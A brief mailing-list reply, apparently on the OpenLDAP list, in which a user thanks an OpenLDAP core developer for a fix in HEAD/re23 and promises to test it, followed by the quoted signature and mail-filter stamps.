> > Fixed (differently) in HEAD/re23; please test. Thanks for > reporting. p. > Just looked at your changes, of course it makes sense to put this in a common function. I will test over the weekend Gerald > > > Ing. Pierangelo Masarati > OpenLDAP Core Team > > SysNet s.n.c. > Via Dossi, 8 - 27100 Pavia - ITALIA > http://www.sys-net.it > ------------------------------------------ > Office: +39.02.23998309 > Mobile: +39.333.4963172 > Email: pierangelo.masarati(a)sys-net.it > ------------------------------------------ > > > > ** Virus checked by BB-5000 Mailfilter ** > !DSPAM:4566ce0e132554386119908! > ** Virus checked by BB-5000 Mailfilter **

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